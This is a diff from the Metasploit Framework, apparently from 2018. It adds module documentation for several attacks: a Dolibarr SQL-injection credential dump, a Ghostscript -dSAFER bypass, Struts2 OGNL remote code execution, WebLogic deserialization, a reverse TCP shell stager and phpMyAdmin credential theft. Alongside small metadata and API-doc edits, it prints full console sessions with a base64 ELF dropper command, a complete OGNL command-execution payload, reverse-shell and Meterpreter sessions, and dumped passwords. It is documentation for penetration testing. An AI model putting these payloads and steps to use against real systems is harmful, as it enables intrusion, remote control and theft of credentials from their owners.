"mod_time": "2018-09-10 15:25:09 +0000",
|
||||
"path": "/modules/post/multi/gather/jenkins_gather.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/gather/jenkins_gather",
|
||||
|
@ -109719,7 +109852,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-02-21 02:54:38 +0000",
|
||||
"mod_time": "2018-09-04 16:46:20 +0000",
|
||||
"path": "/modules/post/multi/manage/shell_to_meterpreter.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/manage/shell_to_meterpreter",
|
||||
|
@ -111348,7 +111481,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-09-10 15:04:22 +0000",
|
||||
"path": "/modules/post/windows/gather/credentials/gpp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/credentials/gpp",
|
||||
|
@ -111569,7 +111702,7 @@
|
|||
"arch": "",
|
||||
"rport": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-09-10 15:14:38 +0000",
|
||||
"path": "/modules/post/windows/gather/credentials/mremote.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/credentials/mremote",
|
||||
|
|
|
@ -3,6 +3,7 @@ require 'swagger/blocks'
|
|||
module ModuleSearchApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
AKA_DESC = 'Filter modules with a matching AKA name.'
|
||||
APP_DESC = 'Filter modules that are client or server attacks. (Accepts strings \'client\' or \'server\').'
|
||||
ARCH_DESC = 'Filter modules with a matching architecture.'
|
||||
AUTHOR_DESC = 'Filter modules written by a matching author.'
|
||||
|
@ -33,7 +34,8 @@ module ModuleSearchApiDoc
|
|||
TARGETS_DESC = 'Alias for \'target\'.'
|
||||
TEXT_DESC = 'Filter modules matching any one of name, full name, description, reference, author, or targets.'
|
||||
TYPE_DESC = 'Filter modules with a matching type (exploit, auxiliary, payload, etc.).'
|
||||
FIELDS_DESC = 'Provide a comma-delimited list of metadata fields you would like to return. If left blank, all fields will be returned. Valid field names are: \'name\', \'full_name\', \'fullname\', \'arch\', \'author\', \'author\', \'description\', \'disclosure_date\', \'cve\', \'edb\', \'bid\', \'mod_time\', \'is_client\', \'is_server\', \'is_install_path\', \'os\', \'platform\', \'reference\', \'references\', \'ref_name\', \'ref\', \'path\', \'port\', \'rport\', \'rank\', \'type\', \'target\', \'targets\''
|
||||
FIELDS_DESC = 'Provide a comma-delimited list of metadata fields you would like to return. If left blank, all fields will be returned. Valid field names are: \'name\', \'full_name\', \'fullname\', \'aka\', \'arch\', \'author\', \'author\', \'description\', \'disclosure_date\', \'cve\', \'edb\', \'bid\', \'mod_time\', \'is_client\', \'is_server\', \'is_install_path\', \'os\', \'platform\', \'reference\', \'references\', \'ref_name\', \'ref\', \'path\', \'port\', \'rport\', \'rank\', \'type\', \'target\', \'targets\''
|
||||
NOTES_DESC = 'Extra info for a module, such as AKA names or NOCVE explanations.'
|
||||
|
||||
TYPE_ENUM = [
|
||||
'auxiliary',
|
||||
|
@ -59,7 +61,6 @@ module ModuleSearchApiDoc
|
|||
'thelightcosine'
|
||||
]
|
||||
REFERENCES_EXAMPLE = [
|
||||
'AKA-ETERNALBLUE',
|
||||
'MSB-MS17-010',
|
||||
'CVE-2017-0143',
|
||||
'CVE-2017-0144',
|
||||
|
@ -81,6 +82,9 @@ module ModuleSearchApiDoc
|
|||
TARGETS_EXAMPLE = [
|
||||
'Windows 7 and Server 2008 R2 (x64) All Service Packs'
|
||||
]
|
||||
NOTES_EXAMPLE = {
|
||||
'AKA' => [ 'ETERNALBLUE' ]
|
||||
}
|
||||
|
||||
|
||||
# Swagger documentation for Module Search model
|
||||
|
@ -103,6 +107,7 @@ module ModuleSearchApiDoc
|
|||
property :path, type: :string, description: PATH_DESC, example: PATH_EXAMPLE
|
||||
property :is_install_path, type: :boolean, description: IS_INSTALL_PATH_DESC, example: IS_INSTALL_PATH_EXAMPLE
|
||||
property :targets, description: TARGET_DESC, example: TARGETS_EXAMPLE, type: :array do items type: :string end
|
||||
property :notes, description: NOTES_DESC, example: NOTES_EXAMPLE, type: :hash do items type: :hash end
|
||||
end
|
||||
|
||||
|
||||
|
@ -114,6 +119,7 @@ module ModuleSearchApiDoc
|
|||
key :tags, [ 'module' ]
|
||||
|
||||
parameters = {
|
||||
:aka => AKA_DESC,
|
||||
:app => APP_DESC,
|
||||
:arch => ARCH_DESC,
|
||||
:author => AUTHOR_DESC,
|
||||
|
|
|
@ -0,0 +1,49 @@
|
|||
## Description
|
||||
|
||||
This module enables an authenticated user to collect usernames and encrypted passwords of other users of the ERP/CRM Dolibarr software via SQL injection.
|
||||
Checks in the Dolibarr software can be bypassed by url-encoding the SQL commands, provided that the commands do not contain quotes.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Dolibarr ERP/CRM Software versions < v7.0.2. Dolibarr v7.0.0 can be found [here](https://www.exploit-db.com/apps/04b0bb4b4864117b5bf47c0fcc737254-dolibarr-7.0.0.tar.gz).
|
||||
By default, user accounts do not have access to view the list of other users of the software. The admin account must first be used to enable the members page, create general users, and give those users permission to access the members page.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/sqli/oracle/dolibarr_list_creds```
|
||||
4. Do: ```set RHOSTS [IP]```
|
||||
5. Do: ```set USERNAME [USER]```
|
||||
6. Do: ```set PASSWORD [PASS]```
|
||||
7. Do: ```set TARGETURI [URI]```
|
||||
8. Do: ```run```
|
||||
9. You should get a list of credentials
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Dolibarr v7.0.0 running on Ubuntu 18.04
|
||||
|
||||
```
|
||||
|
||||
msf5 > use auxiliary/sqli/oracle/dolibarr_list_creds
|
||||
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set username test
|
||||
username => test
|
||||
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set password blah
|
||||
password => blah
|
||||
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set targeturi /dolibarr
|
||||
targeturi => /dolibarr
|
||||
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > set rhosts 192.168.37.228
|
||||
rhosts => 192.168.37.228
|
||||
msf5 auxiliary(sqli/oracle/dolibarr_list_creds) > run
|
||||
|
||||
[*] Logging in...
|
||||
[+] Successfully logged into Dolibarr
|
||||
[+] Accessed credentials
|
||||
[+] user 8456167fd64d3cda366bda95088dda4d7ea94995
|
||||
[+] test 9d49884ec5f2c8431572a73e3285ceed3f0bdc5b
|
||||
[+] blahBlah e345d4aa5a6a63f828870b0d299dd921d119a5c7
|
||||
[+] someUser fe79b08f9f6a1104a141ff65047087a36d926f12
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,77 @@
|
|||
## Intro
|
||||
|
||||
This module exploits a `-dSAFER` bypass in Ghostscript to execute
|
||||
arbitrary commands by handling a failed `restore` (`grestore`) in
|
||||
PostScript to disable `LockSafetyParams` and avoid `invalidaccess`.
|
||||
|
||||
This vulnerability is reachable via libraries such as ImageMagick,
|
||||
and this module provides the latest vector for Ghostscript.
|
||||
|
||||
For previous Ghostscript vectors, please see the following modules:
|
||||
`exploit/unix/fileformat/ghostscript_type_confusion`
|
||||
`exploit/unix/fileformat/imagemagick_delegate`
|
||||
|
||||
## Setup
|
||||
|
||||
Install Ghostscript and use the console command (`gs` on Unix and
|
||||
`gswin64c` on Windows). You may also exploit the vulnerability through
|
||||
ImageMagick using `convert` or `identify`, for example.
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix (In-Memory)
|
||||
1 PowerShell (In-Memory)
|
||||
2 Linux (Dropper)
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**FILENAME**
|
||||
|
||||
Set this to the output file's name. Depending on the target environment,
|
||||
the file extension may not matter, so the PS file could be named
|
||||
`msf.pdf`, for instance. This can potentially work around filename
|
||||
filters.
|
||||
|
||||
**WritableDir**
|
||||
|
||||
Set this to a writable directory without `noexec`.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/fileformat/ghostscript_failed_restore
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set target Linux (Dropper)
|
||||
target => Linux (Dropper)
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set lhost 172.28.128.1
|
||||
lhost => 172.28.128.1
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set disablepayloadhandler false
|
||||
disablepayloadhandler => false
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set wfsdelay 3600
|
||||
wfsdelay => 3600
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.28.128.1:4444
|
||||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/hvQlm.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tgxVT' < '/tmp/hvQlm.b64' ; chmod +x '/tmp/tgxVT' ; '/tmp/tgxVT' ; rm -f '/tmp/tgxVT' ; rm -f '/tmp/hvQlm.b64'"]
|
||||
[+] msf.ps stored at /Users/wvu/.msf4/local/msf.ps
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (816260 bytes) to 172.28.128.3
|
||||
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.3:51648) at 2018-09-05 19:44:32 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=1000, gid=1000, euid=1000, egid=1000
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.0.2.15
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-134-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,155 @@
|
|||
CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute [OGNL(https://commons.apache.org/proper/commons-ognl/language-guide.html) remotely. Using OGNL, the attacker can modify files and execute commands.
|
||||
|
||||
The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment.
|
||||
*@hook-s3c* did an amazing job with [their writeup](https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/README.md), which I'll include exerpts of here:
|
||||
|
||||
1. From a stock Ubuntu VM, install docker:
|
||||
```
|
||||
sudo apt update && sudo apt install docker.io
|
||||
```
|
||||
|
||||
2. Download a vulnerable Struts showcase application inside a docker container:
|
||||
```
|
||||
sudo docker pull piesecurity/apache-struts2-cve-2017-5638
|
||||
sudo docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
|
||||
CONTAINER_ID=`sudo docker ps -l -q`
|
||||
```
|
||||
|
||||
3. Now that the container is running, open a terminal inside of it:
|
||||
```
|
||||
sudo docker exec -it $CONTAINER_ID /bin/bash
|
||||
```
|
||||
|
||||
4. From within the container, install your text editor of choice and modify the Struts configs:
|
||||
```
|
||||
sudo apt update && sudo apt install nano
|
||||
nano /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
|
||||
```
|
||||
|
||||
5. Update the struts config to add this to above line #11:
|
||||
```
|
||||
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
|
||||
```
|
||||
|
||||
6. Update the same struts config file to add this above line #78:
|
||||
```
|
||||
<action name="help">
|
||||
<result type="redirectAction">
|
||||
<param name="actionName">date.action</param>
|
||||
</result>
|
||||
</action>
|
||||
```
|
||||
|
||||
7. Still within the container, shutdown the environment:
|
||||
```
|
||||
/usr/local/tomcat/bin/shutdown.sh
|
||||
```
|
||||
|
||||
8. Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint:
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
|
||||
```
|
||||
sudo docker start $CONTAINER_ID
|
||||
```
|
||||
|
||||
Congratulations. You now have a vulnerable Struts server. If you're following these instructions, your server should be listening on 0.0.0.0:32771. To confirm:
|
||||
```
|
||||
INTERFACE=`ip route list 0.0.0.0/0 | cut -d' ' -f5`
|
||||
IPADDRESS=`ip addr show $INTERFACE | grep -Po 'inet \K[\d.]+'`
|
||||
PORT_NUM=`sudo docker port $CONTAINER_ID | sed 's/.*://'`
|
||||
echo "Struts container is listening on $IPADDRESS:$PORT_NUM"
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Confirm that check functionality works:
|
||||
- [ ] Install the application using the steps above.
|
||||
- [ ] Start msfconsole.
|
||||
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce```
|
||||
- [ ] Set the RHOST.
|
||||
- [ ] Set an invalid ACTION: ```set ACTION wrong.action```
|
||||
- [ ] Confirm the target is *not* vulnerable: ```check```
|
||||
- [ ] Observe that the target is *not* vulnerable: ```The target is not exploitable.```
|
||||
- [ ] Set a valid ACTION: ```set ACTION help.action```
|
||||
- [ ] Confirm that the target is vulnerable: ```The target is vulnerable.```
|
||||
|
||||
Confirm that command execution functionality works:
|
||||
- [ ] Set a payload: ```set PAYLOAD cmd/unix/generic```
|
||||
- [ ] Set a command to be run: ```set CMD hostname```
|
||||
- [ ] Run the exploit: ```run```
|
||||
- [ ] Confirm the output is the container ID of your docker environment, e.g: ```b3d9b350d9b6```
|
||||
- [ ] You will not be given a shell (yet).
|
||||
|
||||
Confirm that payload upload and execution works:
|
||||
- [ ] Set a payload, e.g.: ```set PAYLOAD linux/x64/meterpreter/reverse_tcp```
|
||||
- [ ] Configure `LHOST` and `RHOST` as necessary.
|
||||
- [ ] Run the exploit: ```run```
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The path to the struts application. Note that this does not include the endpoint. In the environment above, the path is `/`.
|
||||
|
||||
**ACTION**
|
||||
|
||||
The endpoint name. In the environment above, the endpoint is `help.action`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version of software and OS as applicable
|
||||
|
||||
Checking a vulnerable endpoint, as installed in the above steps:
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/struts_namespace_rce
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action
|
||||
ACTION => help.action
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > check
|
||||
[+] 192.168.199.135:32771 The target is vulnerable.
|
||||
```
|
||||
|
||||
Running an arbitrary command on the above-described environment:
|
||||
|
||||
```
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic
|
||||
PAYLOAD => cmd/unix/generic
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname
|
||||
CMD => hostname
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > run
|
||||
[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
|
||||
|
||||
[*] Command ran. Output from command:
|
||||
b3d9b350d9b6
|
||||
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/http/struts_namespace_rce) >
|
||||
```
|
||||
|
||||
Getting a Meterpreter session on the above-described environment:
|
||||
|
||||
```
|
||||
|
||||
msf5 > use exploit/multi/http/struts2_namespace_ognl
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set ACTION help.action
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set RHOSTS 192.168.199.135
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set RPORT 32771
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.199.134:4444
|
||||
[+] Target profiled successfully: Linux 4.4.0-112-generic amd64, running as root
|
||||
[+] Payload successfully dropped and executed.
|
||||
[*] Sending stage (816260 bytes) to 192.168.199.135
|
||||
[*] Meterpreter session 1 opened (192.168.199.134:4444 -> 192.168.199.135:47482) at 2018-08-31 13:15:22 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -26,10 +26,12 @@ msf5 exploit(multi/misc/weblogic_deserialize) > set srvhost 172.22.222.121
|
|||
srvhost => 172.22.222.121
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > set srvport 8888
|
||||
srvport => 8888
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > set target 1
|
||||
target => 1
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > run
|
||||
[*] Exploit running as background job 0.
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) >
|
||||
[*] Started reverse TCP handler on 172.22.222.121:4444
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) >
|
||||
[*] Started reverse TCP handler on 172.22.222.121:4444
|
||||
[*] Sending stage (179779 bytes) to 172.22.222.175
|
||||
[*] Meterpreter session 1 opened (172.22.222.121:4444 -> 172.22.222.175:49908) at 2018-08-08 17:53:07 -0500
|
||||
sessions -i 1
|
||||
|
@ -43,41 +45,39 @@ System Language : en_US
|
|||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Tested on Ubuntu 14.04 LTS x64 running Oracle Weblogic Server 10.3.6.0 on Sun SDK 1.6.0_29
|
||||
```
|
||||
msf5 > use exploit/windows/misc/weblogic_deserialize
|
||||
msf5 exploit(windows/misc/weblogic_deserialize) > set rhosts 172.22.222.205
|
||||
msf5 > use exploit/multi/misc/weblogic_deserialize
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > set rhosts 172.22.222.205
|
||||
rhosts => 172.22.222.205
|
||||
msf5 exploit(windows/misc/weblogic_deserialize) > set lhost 172.22.222.197
|
||||
lhost => 172.22.222.197
|
||||
msf5 exploit(windows/misc/weblogic_deserialize) > set srvhost 172.22.222.197
|
||||
srvhost => 172.22.222.197
|
||||
msf5 exploit(windows/misc/weblogic_deserialize) > set verbose true
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > set srvhost 172.22.222.207
|
||||
srvhost => 172.22.222.207
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > set lhost 172.22.222.207
|
||||
lhost => 172.22.222.207
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(windows/misc/weblogic_deserialize) > check
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > check
|
||||
|
||||
[+] 172.22.222.205:7001 - Detected Oracle WebLogic Server Version: 10.3.6.0
|
||||
[*] 172.22.222.205:7001 The target appears to be vulnerable.
|
||||
msf5 exploit(windows/misc/weblogic_deserialize) > run
|
||||
[*] Exploit running as background job 2.
|
||||
msf5 exploit(windows/misc/weblogic_deserialize) >
|
||||
[*] Started reverse TCP handler on 172.22.222.197:4444
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > run
|
||||
[*] Exploit running as background job 0.
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) >
|
||||
[*] Started reverse TCP handler on 172.22.222.207:4444
|
||||
[*] 172.22.222.205:7001 - Sending handshake...
|
||||
[*] 172.22.222.205:7001 - Sending client object payload...
|
||||
[*] 172.22.222.205:7001 - Comparing host: 172.22.222.205
|
||||
[*] 172.22.222.205:7001 - Sending payload to client: 172.22.222.205
|
||||
[*] 172.22.222.205:7001 - Comparing host: 172.22.222.205
|
||||
[*] Command shell session 1 opened (172.22.222.197:4444 -> 172.22.222.205:35904) at 2018-08-28 10:59:20 -0500
|
||||
[*] Command shell session 1 opened (172.22.222.207:4444 -> 172.22.222.205:37168) at 2018-08-30 06:10:31 -0500
|
||||
[*] 172.22.222.205:7001 - Server stopped.
|
||||
msf5 exploit(windows/misc/weblogic_deserialize) >
|
||||
sessions -i 1
|
||||
|
||||
msf5 exploit(multi/misc/weblogic_deserialize) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
whoami
|
||||
msfdev
|
||||
uname -a
|
||||
Linux ubuntu 4.4.0-134-generic #160~14.04.1-Ubuntu SMP Fri Aug 17 11:07:07 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
|
|
|
@ -0,0 +1,127 @@
|
|||
# Windows Command Shell
|
||||
|
||||
Reverse Ordinal TCP Stager is an unique windows payload for Metasploit Framework.
|
||||
|
||||
It is really small (<100 bytes), it uses the existing ws2_32.dll in memory in connect and load the next stage of the payload. It provides a shell on the target machine which can be used to achieve almost anything on the target pc.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This Meterpreter payload is suitable for the following environments:
|
||||
|
||||
* Windows x86
|
||||
* Windows x64
|
||||
|
||||
## Usage
|
||||
|
||||
### As a payload for an exploit:
|
||||
|
||||
To check its compatibility with an exploit, select the exploit in the msf console and type the ```info``` command. The output will be similar to:
|
||||
|
||||
```
|
||||
msf5 payload(windows/shell/reverse_tcp) > info
|
||||
|
||||
Name: Windows Command Shell, Reverse TCP Stager
|
||||
Module: payload/windows/shell/reverse_tcp
|
||||
Platform: Windows
|
||||
Arch: x86
|
||||
Needs Admin: No
|
||||
Total size: 283
|
||||
Rank: Normal
|
||||
|
||||
Provided by:
|
||||
spoonm <spoonm@no$email.com>
|
||||
sf <stephen_fewer@harmonysecurity.com>
|
||||
hdm <x@hdm.io>
|
||||
skape <mmiller@hick.org>
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
Description:
|
||||
Spawn a piped command shell (staged). Connect back to the attacker
|
||||
```
|
||||
|
||||
|
||||
If the platform field includes Windows, then windows/shell/reverse_ord_tcp can be used as the
|
||||
payload.
|
||||
|
||||
To use at as a payload for an exploit, use the following commands:
|
||||
|
||||
1. In msfconsole, select an exploit module compatible with windows.
|
||||
2. Configure the options for that exploit.
|
||||
3. Then run the following command: ```set windows/shell/reverse_ord_tcp```
|
||||
4. Set the ```LHOST``` option, to be the IP address that the payload should connect to.
|
||||
5. Then run the command: ```exploit```.
|
||||
|
||||
If the exploit is successful, the payload will get executed.
|
||||
|
||||
|
||||
### As a standalone executable
|
||||
|
||||
To use it as an executable, use the msfvenom tool. A typical example of doing this is as follows:
|
||||
|
||||
|
||||
```
|
||||
./msfvenom -p windows/shell/reverse_ord_tcp LHOST=192.168.23.1 LPORT=4444 -f exe -o /tmp/ordpayload.exe```
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
The following commands are run on a Windows XP SP 2 English Machine:
|
||||
|
||||
```
|
||||
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_ord_tcp
|
||||
payload => windows/shell/reverse_ord_tcp
|
||||
msf exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_067_netapi
|
||||
msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.56.1
|
||||
LHOST => 192.168.56.1
|
||||
msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.56.3
|
||||
RHOST => 192.168.56.3
|
||||
msf exploit(windows/smb/ms08_067_netapi) > show options
|
||||
|
||||
Module options (exploit/windows/smb/ms08_067_netapi):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOST 192.168.56.3 yes The target address
|
||||
RPORT 445 yes The SMB service port (TCP)
|
||||
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
|
||||
|
||||
|
||||
Payload options (windows/shell/reverse_ord_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 192.168.56.1 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic Targeting
|
||||
|
||||
|
||||
msf exploit(windows/smb/ms08_067_netapi) > exploit
|
||||
```
|
||||
|
||||
The above commands will result into the following scenario, leading a shell
|
||||
on the target machine:
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] 192.168.56.3:445 - Automatically detecting the target...
|
||||
[*] 192.168.56.3:445 - Fingerprint: Windows XP - Service Pack 2 - lang:English
|
||||
[*] 192.168.56.3:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)
|
||||
[*] 192.168.56.3:445 - Attempting to trigger the vulnerability...
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.56.3
|
||||
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.3:1034) at 2018-08-17 15:25:02 +0530
|
||||
```
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
## Description
|
||||
|
||||
This post module gathers PhpMyAdmin Creds from target Linux machine.
|
||||
|
||||
* https://www.phpmyadmin.net/downloads/ [Download URL]
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. Do: `use post/linux/gather/phpmyadmin_credsteal`
|
||||
4. Do: `set SESSION [SESSION]`
|
||||
5. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use multi/handler
|
||||
msf5 exploit(multi/handler) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||
[*] Sending stage (816260 bytes) to 192.168.37.226
|
||||
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.226:34880) at 2018-09-06 08:49:52 -0500
|
||||
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 2...
|
||||
msf5 exploit(multi/handler) > use post/linux/gather/phpmyadmin_credsteal
|
||||
msf5 post(linux/gather/phpmyadmin_credsteal) > set session 2
|
||||
session => 2
|
||||
msf5 post(linux/gather/phpmyadmin_credsteal) > run
|
||||
|
||||
|
||||
PhpMyAdmin Creds Stealer!
|
||||
|
||||
[+] PhpMyAdmin config found!
|
||||
[+] Extracting creds
|
||||
[+] User: admin
|
||||
[+] Password: acoolpassword
|
||||
[*] Storing credentials...
|
||||
[+] Config file located at /Users/space/.msf4/loot/20180907081056_default_192.168.37.226_phpmyadmin_conf_580315.txt
|
||||
[*] Post module execution completed
|
||||
msf5 post(linux/gather/phpmyadmin_credsteal) >
|
||||
|
||||
```
|
|
@ -78,6 +78,19 @@ class DataProxy
|
|||
end
|
||||
end
|
||||
|
||||
def delete_current_data_service
|
||||
@data_services.each do |id, ds|
|
||||
if ds == @current_data_service
|
||||
if id == 1
|
||||
raise "Unable to delete the local data service. Please use db_disconnect."
|
||||
else
|
||||
@data_services.delete(id)
|
||||
@current_data_service = @data_services[1]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
